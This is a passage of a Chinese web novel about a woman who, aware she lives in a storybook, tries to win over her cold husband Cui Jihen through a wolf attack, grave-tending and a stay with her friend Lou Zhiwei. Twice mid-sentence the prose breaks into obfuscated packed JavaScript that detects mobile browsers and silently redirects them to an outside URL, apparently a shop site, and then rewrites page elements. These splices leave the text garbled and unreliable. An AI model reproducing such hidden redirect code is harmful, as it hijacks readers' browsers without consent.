老葛家是葛月茹来送,听自家老爹说崔寂恨送了两个红薯给她家,葛月茹激动得差点没拿稳茶水。再三犹豫,葛月茹从饭盒里拿出两块烧饼,得到老葛的许可后,高高兴兴地捧着烧饼去了崔寂恨旁边,“崔相公,谢谢你送的红薯,这是我爹让我给你的烧饼。” 崔寂恨用专门准备的布巾擦汗,摇头道,“不必了。” “你就收下吧,孟訾鸢又不给你送饭,还得等你回去给她做饭,”葛月茹撇撇嘴,“又懒又馋。” 她踮起脚尖,直接把烧饼伸到崔寂恨的唇边,作势喂他吃。这番不矜持的模样引来一众汉子的注意,老葛也看见了,脸拉得比驴还长,正要呵斥自家丫头,就听见另一道脆生生的嗓音从田埂上飘过来,“夫君,我来给你送饭了。” 霎时所有人都往田埂看过去。 孟訾鸢穿着一身水粉色襦裙,她嫁做人妇三年,比闺阁里的清瘦姑娘多了一抹丰腴肉感,即便裙子布料粗糙样式素朴,也遮不住婀娜身姿。她一手挎着食盒,一手提着裙摆,窈窕走来时,身上散发的淡淡清香气弥漫在绿油油、金灿灿的田地里,迷了不少还未娶亲的青年汉子的心,眼珠子恨不得黏在她身上。 狐狸精虽是骂名,可也是有货真价实能勾人心魄的美貌的。 “夫君,我今日来给你送饭了,你饿不饿?”孟訾鸢把食盒放在田坝上,揭开盖子,里面的饭菜喷香扑鼻,勾得人馋虫作祟,她取出一个又香又软的白面馒头,完全无视旁边的葛月茹,径直递到崔寂恨跟前,“先尝尝馒头?我亲手做的。” 葛月茹看她如看鬼,“你还会做饭?” 孟訾鸢理所当然地说,“你都会我有什么不会,”随即不顾被她气得跺脚的葛月茹,将目光挪到崔寂恨身上,笑着问,“尝尝我亲手为你做的馒头?” 她这副做派简直是吃醋后宣誓主权,做夫君的,理应哄哄、配合她。然而崔寂恨一副事不关己的态度,眼神平淡地盯着她,半天没有任何反应,好像全程都是她一个人唱独角戏。 旁边的葛月茹幸灾乐祸地“噗呲”一声,“我还当孟姐姐与崔相公感情多深,也对,孟姐姐先前朝三暮四把崔相公的脸都丢尽了,现在又卖乖讨巧想挽回,哪有那么便宜的事。” 她心底恨不得叫崔寂恨快些把孟訾鸢休了。 孟訾鸢被她嘲笑得有些下不来台,偏偏还无力反驳,举在半空中的手臂发酸发麻。她扯了扯嘴角僵硬的笑容,见崔寂恨始终不为所动,仿佛她出不出丑都与他无关,垂下眼挡去眸底一闪而过的失落,将手缩了回来。 忽然,手中的馒头被咬了一口。 “松软滑腻,鸢儿好手艺。”崔寂恨出声说。 孟訾鸢蓦地抬头,迎上男人没什么情绪的眼神,不过还好,至少他没让她当众难堪。孟訾鸢笑着将馒头塞进崔寂恨手里,“夫君喜欢吃的话就多吃点,食盒里还有开胃酸萝卜和我专门煮的小菜,可以就着馒头一起吃。” 崔寂恨点头,“辛苦了,一起吃吧。” “好,”孟訾鸢笑着答应,扭头看了葛月茹一眼,故作惊讶,“葛姑娘怎么还没走,莫不是要留下来与我们夫妻一同吃饭?” “谁要和你一起吃饭,假惺惺!”葛月茹不甘心吃瘪,愤愤地怼回去一句,抱着烧饼跑远了。 孟訾鸢无奈摇头,小姑娘还真是锲而不舍。 只可惜讨厌错了人,她并非崔寂恨真正想要白头到老的妻子,他爱的是那位永亲王府的嘉合郡主。 - 用完午饭,崔寂恨和左家村的 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遥远的回忆袭来,孟訾鸢倏然记起,明日就是崔老夫人的忌日。 她怔怔地望着怀里的喜喜,一时间不知它跑到这来是凑巧还是什么。之前的三年,孟訾鸢因为话本子的存在而没有自主意识,坏事做尽,气死崔老夫人没有半点愧疚心不还说,人下葬后作为儿媳更是一炷香都没烧过,反而一言不合就对崔寂恨发火说要将崔老夫人的坟给挖了。所以今年崔老夫人忌日到了,崔寂恨也没告诉她,因为没必要。 当然也可能是觉得她不配来给崔老夫人上香。 孟訾鸢静静盯着墓碑,要说她最愧疚的人是谁,排在首位的,一定是崔老夫人。不论他们是不是活在一个话本子里,也不论崔老夫人把她从闹市里买回去是不是剧情所需,都改变不了崔老夫人是她救命恩人的事实。如若不是崔老夫人,孟訾鸢或许早就被买进最下等的窑子被磋磨致死,要么就是买到府里做丫鬟,一辈子为奴为婢。 是崔老夫人给了她清清白白的身份,一辈子可以堂堂正正做人。 然而却被剧情操控的她活活气死了。 “婆母,是鸢儿对不起您。”孟訾鸢屈膝跪在地上,对着墓碑拜了三下,每一下额头都重重地磕在地上,发出咚咚响声。 再仰起头时,眼角微微泛红。 崔老夫人的墓立在山腰下面一块平坦、敞亮的地方,视野开阔,风景葳蕤,是崔寂恨特意葬的。孟訾鸢还知道旁人不知晓的一点,这个地方能远远看见京城的方向,崔寂恨要崔老夫人亲眼见证他报仇雪恨、东山再起,将往昔的仇人一个一个地踩在脚下,碾碎骨头,痛不欲生。 只是这块也容易被上方的泥土给盖住,上回下了几场暴雨,上坡滑落不少碎石土浆,将崔老夫人的坟墓都给弄脏了。 崔寂恨近些时日去了书苑读书,休沐的几天时间还得去地里干活,有些时候没来给崔老夫人扫墓,孟訾鸢闲着也是闲着,便替他将崔老夫人坟前的杂草一根根拔除,泥浆一点点扫去。 就这么忙活到了夕阳西下,她疲倦地直起腰,总是清扫完了。 “婆母,儿媳不孝,只能做些这样的小事来弥补,还望您莫嫌弃。”孟訾鸢轻柔地抚了抚墓碑,“明日我跟暮春一同来看您,天快黑了,我先回去了。” 不料下山时出了意外。 孟訾鸢脚一滑滚了下土坡,地面上尖锐的石头划破裙子,在她的小腿上剌出一条又长又深的口子,转眼间血流不止。 她疼得唇色煞白,仰头望黑漆漆的天,直呼糟了。 怀里的喜喜受到惊吓狂叫不止,她腿上的血腥味又浓,恐怕没一会儿就会引来野兽了。可这个时间山里无人,崔寂恨也不知晓她去了哪儿,即便知晓,他会冒着危险来找她吗? 14. 攻心60% 崔寂恨是太阳落山时回去的,经过村子里一家靠做白事为生的寿材铺稍作停留,去里面买明日用来祭奠的东西。 寿材铺的老头正在与自家老婆子说话,“你别自己吓自己,山里头哪来的女鬼,我看你是年纪大耳朵出毛病了,一大把年纪还去山上挖野菜,回头摔了我看你找谁救你……”话说到一半,见着崔寂恨进来,笑呵呵地迎上去,“崔相公来了,要买些什么?” 崔寂恨掏出钱袋子,“给家母上坟的香烛纸钱。” 每年的这一月,崔寂恨都会定时定点来寿材铺,老头都记熟了,没多问就去了里屋取。老婆子看他一走,慢慢踱着步子走到崔寂恨身旁,脸上还遗留着惊恐,小声询问,“崔相公,你说这世上有没有鬼?” 崔寂恨不咸不淡道:“世上无鬼,有鬼的是人心。” 老婆子耳朵不好,只听到“有鬼”两个字眼就吓得哆嗦,“这后山不能去了,山上有女鬼,我去山里挖野菜听得真真儿的,一直在叫喊,多半是要把人勾过去吸魂魄。” “后山?”崔寂恨记起孟訾鸢摔倒被他救起的那回。 “就是你家后头不远的那座山,崔相公,你可千万别去,要是被女鬼瞧上了就没命了——”老婆子还没提醒完,就被抱着香烛纸钱的老头打断,“少吓唬人,后山哪有鬼,只有吃人的怪物!早些年村子里好些猎户不见了,后来才知道是被山上的怪物给吃了,那怪物叫山魈,长得像猿猴却有一张人脸,身高三四尺,赤目长臂,全身黑毛,天黑了才出来,会学人说话,专门把深山老林里走丢的人引过去迷惑,然后吃进肚子里,又叫它吃人怪。” 不论是鬼是怪都骇人得很,老婆子心有余悸地拍着胸口。 崔寂恨不再多言,付完钱拎着东西离去。 回到崔家时天已经黑了,往常亮着烛火的小院今夜黑漆漆的,安静得近乎诡异。崔寂恨将怀中的东西放下,推开门,屋内没有孟訾鸢的身影,就连她晌午给他送饭的食盒也不在。 最爱闹腾的喜喜也不见了。 崔寂恨捏着木门的指节蜷了蜷,回过头,阴冷的视线远眺着后山的方向。 - 孟訾鸢疼晕过去了一回,悠悠醒来时,胸口暖呼呼的,她缓缓睁开眼皮,窝在她胸口的毛茸茸动了下,小小地“喵呜”一声。 是喜喜。 她伸手摸了摸,小家伙冻得浑身冰凉,瘦小的身子不停地打着颤,感受到她掌心的温暖后开始用力蹭,像孩子找到了保护自己的母亲。 山里的温度比山下低许多,宛如寒冬,孟訾鸢担心小猫被冻坏,把喜喜揣进了自己怀里。她搀着旁边的树慢慢站起来,四下望了望,是一处地势凹陷的低洼。 这下麻烦了,她腿本就有伤,走都困难,更别提爬上去。 方才滑下来的地方两边都是陡坡,风一吹力度格外大,孟訾鸢被吹得摇摇晃晃,她咬着牙准备换个地儿,周围突然响起“嘎吱”的走路声。 很慢、很重、走一下停一下,像是用鼻子在嗅气味。 怀里睡觉的喜喜突然炸毛,圆圆的双瞳束成两条绷紧的直线,嘴巴张大露出两颗尖牙,鼻孔翕张着,这是嗅到危险的反应。孟訾鸢心底咯噔一声,顿时明白那是野兽在靠近。 孟訾鸢心快跳到嗓子眼,顾不及腿上的剧痛,扭身就跑。右腿仿佛被插了一柄钢刀在里面,每跑一步,刀尖就拧着血肉搅一遍,疼得她双眼模糊,却因为身后有危险,而不敢慢下来半步。 很快,原本止住血的伤口又开始“滴答滴答”得淌血,一路全是斑驳血迹,空气中的铁锈味越来越浓。身后的野兽闻见血腥气胃口大开,不再是试探地一步步追,而是疾速狂奔,跑到身后时动静消失了,接着传来“斯哈”“斯哈”喘气声。 孟訾鸢浑身一僵,忘却了呼吸。 她僵麻着身子回头,看见身后站着一匹半人高的野狼,此刻正虎视眈眈地盯着她。狼是很聪明的一种动物,懂得审时度势,对面数量多它会退走,但若是对面形影单只,它就会面目狰狞地露出闪着寒光的獠牙,弓起前肢,作出伏击姿势,然后猛地俯冲过来—— 孟訾鸢大脑一片空白,唯一的念头是将怀里的喜喜丢出去。 野狼的身子腾空在她上方,尖锐的牙齿距离她的额头只有半寸,再往下她就会一击毙命。就在孟訾鸢认命地闭眼的时候,眼前突然伸出一只遒劲结实的胳膊,一把掐住野狼的脖子,手臂青筋暴起。 周围的所有事物都好像放慢了,孟訾鸢怔怔地看着面前的一幕。 野狼的獠牙刺破那只手臂,霎时鲜血喷涌,有几滴溅到了男人的脸上,而他视若无睹,只是掐住野狼脖子的手更加用力,血管狰狞地绷起,硬生生将一只凶狠的动物掐到毫无气息,直至死亡。 崔寂恨丢掉手中的野狼,转而去擦眼角的几滴血迹。 深夜的山林里树叶沙沙作响,崔寂恨转身去看还处在惊吓呆滞中的孟訾鸢,面色阴沉地走到她跟前,“我有没有警告过你不要乱跑?孟訾鸢,你想死我不拦着,下一回,我亲自送你上路。” “我没有乱跑,”她失声辩解,“我想起明日是婆母的忌日,去坟前清扫一番,没想到天黑回去时不小心踩空掉下来了。” 崔寂恨别过头不看她,硬邦邦地道:“我母亲的忌日与你无关。” “怎会与我无关,你我二人一日未和离,我就一日是崔家的媳妇,崔老夫人就一日是我的婆母,给她扫墓,是我这个儿媳应该做的。”顿了顿,她低声说,“今夜的事只是个意外,我没想你来救我。” 崔寂恨嘲讽她自作多情,“我不是来救你,我只是需确定你活要见人死要见尸。” “……” 孟訾鸢头垂地低低的,说话带着鼻音,“方才情急之下我把喜喜丢开了,这会儿不知道它跑去了哪里,我们得尽快找到它下山。” “丢便丢了,一只猫而已,你以为你是什么普度众生的菩萨,还要寻它?”崔寂恨将她的所作所为都看作是惺惺作态,“再过些时候山间出没的野兽越来越多,会把我们包围在一个圈里啃食殆尽。” 孟訾鸢静默片刻,“你先下山吧。” 她在某些事情上格外执着,“我留下来找喜喜。” - 最后两人都没下成山。 一来是孟訾鸢坚决要找喜喜,二来是崔寂恨手臂上的咬伤含有毒素,拖久了腐蚀溃烂影响握笔写字。 两人找到一个狭窄的山洞,越往里走越宽阔,洞中一块巨石上铺着狼皮做成的褥子,周围摞着几捆柴,还有一些其他的锅碗瓢盆,像是一些猎户在遭遇暴雨时,临时在山里居住的庇护所。 上面落着厚厚的浮灰,有些日子没用了,不过柴堆没湿,能点着火。亮堂的光线一亮起来,黑暗带来的恐惧和压抑感瞬间消散不少,山林的野兽也畏惧火光,应当不会再靠近了。 孟訾鸢绷紧的神经终于得以放松,“总算安全了。” 火一旦熄灭再难生起,崔寂恨默不作声地持续翻着柴堆,影影绰绰的光线将男人的侧脸染上一丝温度。孟訾鸢抿了抿唇,撩起自己的纱裙,用牙齿咬出一块缺口后再用手撕成两份,一份包扎自己的腿,另一份递给崔寂恨,“你手上的伤口有毒,得尽快找草药解毒,时间长了手臂无力,恐会影响半月后的乡试。” 男人没接她的东西,目不斜视地问:“什么草药?” 孟訾鸢只好将布料放在他腿边,“蛇舌草,这个季节生长茂盛,就在小溪或者幽谷边。” 他们寻找山洞的时候途径过一条干涸的小溪,崔寂恨丢了木棍,起身往外走,“我去找草药,你留在山洞看火,”又云淡风轻地嘱咐她一句,“我回来之前,别死了。” “……” 这人会不会说话? 孟訾鸢幽怨地悄悄瞪他一眼,“知道了。” 崔寂恨一走,偌大的山洞里只余下孟訾鸢一个人,她忍不住把自己往角落里挤了挤。极度安静的环境下,人就不由自主地胡思乱想,孟訾鸢后知后觉地思忖今晚发生的事。 论坏,她伤了,还连累崔寂恨伤了握笔写字的右手; 论好,崔寂恨意外地来救她了。 尽管他给出的缘由是——生要见她的人,死要见她的尸。 可他到底是冒着风险来寻她,这是不是代表着,在他心里她没有那么可恨了? 可没等孟訾鸢深想,她就浑身一软栽倒在地。 话本子里,她的设定就是身娇体弱的恶毒女配,体弱的下场就是病来如山倒,不给一丝一毫的准备。 另一边,崔寂恨在小溪旁找到了几株蛇舌草,又寻到一块小水洼将药草清洗干净,折返回了山洞。 走到洞口见火光微弱,便知出事了。 孟纸鸢倒在火堆边不省人事,唇色煞白,双颊却呈现异样的红。崔寂恨伸出两根手指探了探她的额头,一片滚烫。 孟訾鸢本就身子弱,下午清扫整座坟墓透支体力,晚上又摔伤、被野狼惊吓,病倒实属正常。不过风寒来势汹汹,眼下没有草药和暖身子的被褥,她熬不熬得过去就看命数了。 崔寂恨坐回刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498141|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的石墩,搬来两块鹅卵石,把采来的药草捣成碎泥,敷在手臂的伤口上。药渣零零碎碎易脱落,他看着身侧的一块纱裙布料,在里面塞了些药草绑在胳膊上。 才处理完自己的伤,对面睡倒在地上的孟訾鸢倏地打起哆嗦来。 洞中酷似冰窖,柴堆又燃烧殆尽,能提供的暖和所剩无几。孟訾鸢仿佛置身于一片冰湖中,浑身冷得发疼,腿上的口子一阵一阵地发疼,人在病弱时最容易暴露出脆弱姿态,忍不住梦呓,“爹娘,你们在哪里,不要丢掉鸢儿,鸢儿会很乖很听话的……” “为什么给了我性命又让我白白去死……”好不公平,凭何所有人都要为话本子的男女主角做出牺牲,他们明明也是有血有肉活生生的人啊,就因为造物者的一个设定,他们就得为之丧命。 孟訾鸢好似要将自己多年的委屈全部倾诉出来,可是梦呓的话颠三倒四,掐头去尾,一会儿是“喜喜”,一会儿是“崔老夫人”,到最后变成了他,“别杀我,求求你……” “崔寂恨,我对你是真心的。” 将所有梦呓的话听进耳朵的男人,薄唇抿成一条直线,“聒噪。” 病糊涂了的人哪里知道自己聒噪,将自己缩成一团,双手环抱住肩膀,不停地说着梦话,“冷,好冷。” 崔寂恨余光觑过去,孟訾鸢环抱自己的姿势是人在极度不安的环境下才会做出来的,怕被抛弃,怕被丢下,年幼时的他也曾这样做过,只是无人来救他出地狱。就这么沉默地盯了会儿,崔寂恨表情冷硬地解下自己的外衫,丢到孟訾鸢身上将她罩住,不厚不薄的衣裳此刻足以拦下所有温度,不停念叨“冷”的人终于安静了下来,沉沉睡去。 耳边总算清净了一瞬。 与此同时,洞外“咻”的一下钻进来一道黑影,找了主人许久的喜喜精准地钻进孟訾鸢的怀里,可怜地“喵呜”几声,见孟訾鸢没有回应,只能顶着两颗黑葡萄似的大眼睛看向崔寂恨,男人面无表情地把它抱过来,摁在自己的腿上,“你娘病了,别去扰她。” 喜喜听话得不再动弹。 崔寂恨瞥了眼睡熟的人,随后收回视线,阖上眼,进行短暂的休息来恢复精力,等到天蒙蒙亮,只身去了崔老夫人的墓前。 - 昨日上山找孟訾鸢的时候,崔寂恨是带着黄纸香烛一起上来的,但在与野狼搏斗时撕毁了个精光,今日只能两手空空地来到崔老夫人的坟前。 空手祭奠逝者,是为大不敬,若是崔老爷在世,定会请出家法好生教训一番崔寂恨这个不孝子,再让他去书房罚抄一百遍崔氏家规。这时崔夫人就会出来,一边劝崔老爷对儿子不要太过严苛,一边心疼得将崔寂恨护到背后,忙得不可开交。 崔老夫人原是江南商户之女,名秦徽臻,偶然认识了曾是书生的崔老爷,二人情投意合,成亲没多久就生下了长子崔寂恨,后来又有了乖巧可爱的幼女,一家四口儿女双全,可谓是羡煞旁人。只是好景不长,先帝才刚故去,新帝登基,崔老爷曾为先帝心腹,朝代更迭时沦为政治的牺牲品必不可免,崔家也遭了难,又是遇火又是被抄没家产,幼妹还死在了那场大火里,只有手无缚鸡之力的崔老夫人和年幼的长子活了下来。 崔氏一族的血海深仇就这么落在了母子二人身上。 可报仇谈何容易,崔老夫人终日郁郁寡欢,不出十年就从年轻貌美的妇人变成了一个白发苍苍的老者。 “母亲,儿子来看您了。”崔寂恨双膝跪地,俯首叩拜,额头重重磕在硬邦邦的土地上,长久不起。 不一会儿,身后传来一道断断续续的脚步声。 来人步伐很慢,一脚深一脚浅,其中一条腿走路时还在地上缓慢拖行,行进十分艰难。如此明显的迹象猜都不用猜,崔寂恨直起腰身,朝斜后方看了一眼。 孟訾鸢就抱着喜喜站在那儿,一手摁着右腿,脸上仍是病弱的苍白。 她醒来后发现崔寂恨不在,原本以为他是丢下她一个人下山了,后来想想又觉得不太对,于是拖着伤腿来了崔老夫人的坟前,果然老远就瞧见了一道熟悉的背影。其实她早就来了,只不过一直没现身,远远地望着崔寂恨对着崔老夫人的坟长跪不起,如同赎罪一般。 “你来做什么?”崔寂恨口吻疏淡。 孟訾鸢放下猫,拖着腿走到坟前,言简意赅道:“祭奠母亲。” 说完,她一把跪了下来。 与崔寂恨跪在同一侧,面朝着崔老夫人的墓碑,俯首叩拜,洁白的额头触碰到土地时发出“咚咚咚”的沉重响声,她足足叩了三下。 15. 攻心80% 对于她是真心实意还是惺惺作态,崔寂恨不发一言,表情冷硬地收回眼神,视线落在坟墓周围。方才天没大亮看不太清,此时太阳出山,光线洒落大地,一切都变得清晰起来。 前段时间的暴雨将山体冲垮,泥浆混合山石全部滑落下来覆盖着坟墓,野草丛生,墓碑上雕刻的墓志铭也被泥土糊住认不出来。崔寂恨前些日子忙于书苑的事,未能抽时间来清理,本计划是今日来打扫,却没想到坟墓周围已是焕然一新。 泥浆全被人扫到了角落,杂草被尽根拔出,墓碑上糊住崔老夫人墓志铭的污垢被一点一点地扣了下来,在最下角的地方,隐约染着一点血迹。 崔寂恨的目光不受控制地挪到孟訾鸢的手上。 女人纤白的小拇指处,破了一道口子,那是清扫时间过长,手指不堪重负划伤的痕迹。似是察觉到他的审视,孟訾鸢蜷了蜷手掌,将伤到的小拇指藏起来,并没有借此事向崔寂恨邀功的意思。 崔寂恨却仍旧盯着她看,刨根问底,“为何母亲下葬时你都不出席露面,现在反倒知道忏悔来祭拜了?” 孟訾鸢心底清楚,对于崔老夫人,崔寂恨是恨她的。 那是他唯一在世的母亲。 她硬生生将人气死,若不是为了韬光养晦、忍辱负重,他不能做出出格之事引来旁人注目,他早杀了她。 可孟訾鸢心里也苦,她要如何解释,以前的“她”不是她呢? 谁会信呢? 她忽然道:“若我说过去所为皆不是我所愿,你信吗?” 其实话说出口的时候她就后悔了,多说多错,越描越黑,他们活在一个话本子的事根本说不出清楚,旁人只会以为她失心疯了。 果然,崔寂恨微眯了眯眼,审视她话里到底是什么意思。 男人黑白分明的瞳孔像是要望进人心底,窥探挖掘出所有秘密,孟訾鸢扛不住这样洞若观火的凝视,率先败下阵来,头低了低,“我乱说的,你别当真。至于我为什么今年来祭奠婆母,你就当我过去狼心狗肺,而今良心发现,觉得愧对婆母,所以想要尽力弥补。” 顿了顿,她重新抬头看向崔寂恨,表情真诚得没有一丝作假,“没有人规定知错不能改正的,不是吗?” 崔寂恨下颌绷紧,冷哼一声扭过头去,“你最好是。” 下山的时候天已经全亮了,崔寂恨抱着喜喜走在前面,孟纸鸢一瘸一拐地跟在后面,疼得龇牙咧嘴却不敢吭声,生怕这些天好不容易在崔寂恨面前积攒的好感被败光了。 只是腿伤由不得她,速度越走越慢,走到后面跟爬一样,不知不觉落后崔寂恨几十步的距离。她咬着牙出声,“那个。” 话音一出,前面的崔寂恨停下来,回头看她。 孟訾鸢欲言又止,“我腿疼,可不可以走慢一点?我跟不上你。” “为什么要跟着我,”男人冷酷无情,“回家的路你不认识吗?” “……” 孟訾鸢抿着唇,头低下来,不再说话。 过了会儿,前面的脚步声再次响起,是崔寂恨继续前行,他真的把她一个人丢在深山老林里了。孟訾鸢沉默地垂着脑袋,小声地抽了抽鼻子,咬着牙准备自己一个人回去。 远去的脚步声却突然折回来。 不等她抬头,一道黑影打了下来,将她牢牢罩住。下一瞬,男人没有任何表情地将她打横抱起,吐出两个字:“麻烦。” 孟訾鸢怔怔地被男人抱在怀里,感受到他怀中的温暖宽阔,隔着一层皮肉,仿佛能听见深处的心脏在一下下地搏动着。这样的触感已是许久没感受了,一时间孟訾鸢不禁出神地盯着崔寂恨看。 男人被她看得皱眉,威胁道:“再看就挖眼珠。” 孟訾鸢吓得连忙闭上眼睛,忍不住小声嘟囔,“看看就挖眼珠,你又不是香饽饽。” “闭嘴。”他嫌她吵。 孟訾鸢不情不愿地闭上嘴巴,双手试探地环住崔寂恨的脖颈,男人瞬间身子一僵,挺立的眉骨往下沉了沉,神色变得锋利警惕。孟訾鸢立即适可而止地停下,只敢虚虚地环住,不碰触其他的地方,小心翼翼地打量着男人的脸色,见他紧蹙的眉心松了松,才舒了一口气。 心里同样暗暗思忖着,崔寂恨肯抱她是一个很重要的提示,这表明他不像之前那样排斥她了。 也足以证明她的攻心计划开始生效了。 - 回到崔家后不久,崔寂恨就背起包袱赶往书苑,剩孟訾鸢一人在家熬着,没熬多久又精神疲倦地睡了过去。 再醒来时,是被一阵叮铃哐啷的声响吵醒的。 崔寂恨早就去了书苑,家里就她一个人,声音是从何处来的? 孟訾鸢晃晃晕沉沉的脑袋,拖着病体下了床,走到门边一把拉开,映入眼帘的是一道清瘦婉约的身影。 她震惊道:“知微?” 娄知微正躬身煎药,听见孟訾鸢的声音,惊喜地回头,“鸢儿醒了?” 孟訾鸢揉揉眼眶,生怕自己病出幻觉来了,“你怎么在这?” “说来也巧,我父亲近日因为公差去了京城,一月后才回来,我在家中待着无趣,便想派人接你来府中赏花,没想到小厮回来禀报说你躺在床上昏睡不醒,脸都烧红了,家中也没个人照顾你,我放心不下就来看看你。”娄知微才到崔家不久,身上裹着风尘仆仆的寒气。 孟訾鸢看了眼冒烟的瓦罐,又将目光挪回娄知微脸上,“你方才是在给我煎药?” “嗯,路上买的几服治风寒的药,大夫说你吃过几贴就好了,”说着,娄知微有些难为情地抬起袖子挡了挡脸,她用不惯芭蕉扇,扇得瓦罐下的炉灰全跑到了她脸上,黑乎乎的这里一块那里一块,跟唱戏的丑角儿似的,“马上就煎好了,你回屋歇着吧,我一会儿端给你。” 孟訾鸢阻止她挡脸的动作,自己伸手帮她擦了擦,语速缓缓,“谢谢你,知微。” 听出她语气里的郑重,娄知微怔了怔,笑道:“我们是朋友,无需客气。” 这话却像针扎一样刺着孟訾鸢的耳朵,在此之前,其实她从未真心把娄知微当做朋友。她是有目的地蓄意接近,为了从娄知微那儿抱养喜喜,为了娄知微官家小姐的身份……独独不是因为她这个人。 可娄知微和她截然相反,听说她病了,毫不犹豫赶几里路来看望她、照顾她,双手不沾阳春水的千金小姐为了给她煎药弄得狼狈滑稽。这份深厚的情谊将孟訾鸢压得喘不过气来,让她直观地感受到自己是何等的自私自利、心机深沉。 “知微,我们是朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498142|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”她忽然轻声问。 娄知微奇怪地歪了歪头,“当然了,我们先前不就是朋友了吗?” 孟訾鸢嗓子有些干涩,“嗯,是朋友。” 娄知微弯着眼尾,“永远都不会变。” - 孟訾鸢伤得重、风寒也未愈,娄知微不放心她一人在家,说什么也要把她接回娄府小住,孟訾鸢看推脱不了便应下了,随便收拾了一点行装,抱着喜喜坐上了回娄府的轿子。 在娄府小住的几日,孟訾鸢被照顾得很好,不出几天工夫就能如常走路了。 前几日在府里闷着养病,实打实把憋得慌,孟訾鸢病一好就求着娄知微放她出去走一走。正巧娄知微还经营着一间杂货铺,是她娘亲去世前留给她的,通常隔十日去看一回,眼下正巧到了去铺子的时间,便带着孟訾鸢出了府。 娄知微的母亲不仅是个才女,还有着经商的才能。 这间杂货铺是十余年前开起来的,当时还是小作坊,后来被娄夫人经营成了一间大铺子,里面卖女儿家的头面衣裳,也卖男子的古籍书册,上面还做了个雅间可以赏景吃酒。 孟訾鸢在铺子里逛了逛,目光停留在一件护膝和一双棉鞋上,娄知微注意到都是男子样式,问道:“鸢儿可是想送给你夫君?” 她点点头,“乡试在江南贡院举行,距离咱们这儿有好几天的日程,天气越来越冷,我想让他在路上暖和些。”当然,也因为穿在身上的东西才能时时刻刻注意到,她必须每时每刻都在崔寂恨面前保留存在感,让他熟悉、让他习惯,直至无法轻易舍弃。 孟訾鸢:“这些要多少银钱?” “你我二人是朋友,你若是想要,我赠给你就是,何来钱不钱一说。”娄知微挥手就要让掌柜的将这两样东西包起来。 孟訾鸢一把拦下,“不用,”她牵住娄知微的手,态度坚定,“我想要自己花银钱买下来,这样才算是我的礼物。” 娄知微怔了怔,笑道:“你夫妻二人感情真和睦,是我考虑欠妥了。” 孟訾鸢身上没带银钱,就先赊了账,随行的丫鬟将护膝和棉鞋包好放在轿子里。 逛得差不多,两人乘轿回府。 娄知微坐姿端正,目不斜视,相比之下孟訾鸢就要随意得多,身子歪斜在轿子的小窗边,撩起一侧的遮帘,打量着落霞镇上的热闹,忽然她抬高声量:“知微!” 被她念叨的名字的人不明所以地看了过去,“怎么了?” “我看见陆公子了。” “是不是看错了?”娄知微蹙眉,“这个时候他应在书苑上课的。” “我没看错,就是他!”孟訾鸢笃定地说。 娄知微挪了过去,探出头,果然看见陆晏奚扬着清竹折扇,从一间青楼里走出来,面上如沐春风,霎时心头一酸。陆晏奚最爱逛青楼,他家后院还有十几房小妾呢,即便娄知微强行逼迫自己遗忘,可还是不免红了红眼圈。 孟訾鸢正要安慰她,余光倏地觑见陆晏奚身后走出来另一个身材高挑相貌出众的书生,瞳孔一缩。 不巧,那人正是她夫君。 一向不近女色的崔寂恨。 旁边红着眼的娄知微显然也瞧见了崔寂恨,震惊地捂住嘴巴,难不成这就是近朱者赤近墨者黑? 16. 攻心100% 一个时辰前,陆晏奚逃学出来逛青楼,他是天香楼的熟客,一进门就被老鸨香妈妈迎到了最好的厢房中,接着喊来这里的头牌簌簌姑娘作陪,孤男寡女共处一室,把酒言欢,好不快哉。 他是快哉了,兰芷书苑负责管理学生的徐堂长气得脸红脖子粗,喊来与陆晏奚相熟的崔寂恨,命他不管去哪里找都得把陆晏奚带回去领罚。温习温到一半的崔寂恨无奈放下书册,去找陆晏奚。 他没找多久,出了兰芷书苑就直奔天香楼。 果不其然,听他表明来意后,香妈妈把他引到了一等厢房外。 崔寂恨推门而入时,那厮在和簌簌姑娘打情骂俏,不要脸地念淫诗,“臂膊肥如瓠,肌肤软胜绵,枕前发尽千般愿,要休且待青山烂。*” 饶是簌簌姑娘都羞红了整张小脸。 陆晏奚耳朵比狗还灵,门刚推开一条缝他就扭头看了过去,见到是崔寂恨,慌乱的表情又变成了飘飘然,“是贤弟啊,我还以为我家老爷子又发现我来天香楼了,”他大方地把桌上的美酒好菜往前推,“来尝尝天香楼的手艺,一绝!” 崔寂恨懒得理他这副浪荡德行,直言道:“堂长让我带你回去。” “回回回,但不是现在,”陆晏奚用折扇挑了挑簌簌姑娘小巧精致的下巴,“我还未与我的新相好共赴巫山云雨一番呢。” “哎呀陆公子,讨厌死了。”簌簌姑娘含羞带怯地打了下他,眼睛却忍不住往崔寂恨身上瞄,修长清瘦,胸膛和手臂的肌肉却紧实地撑起长衫,还有那腰,走起路来有劲得很,簌簌姑娘心猿意马,“这位公子瞧着面生,第一回来么?” 崔寂恨立在一旁,置若罔闻。 簌簌姑娘撇了撇嘴,自讨没趣,陆晏奚在一旁笑得爽朗开怀,“簌簌,这位公子家有悍妻,可惦记不得,惦记不得啊。” “啊?”簌簌看了眼崔寂恨,“原来是个怕媳妇儿的。” 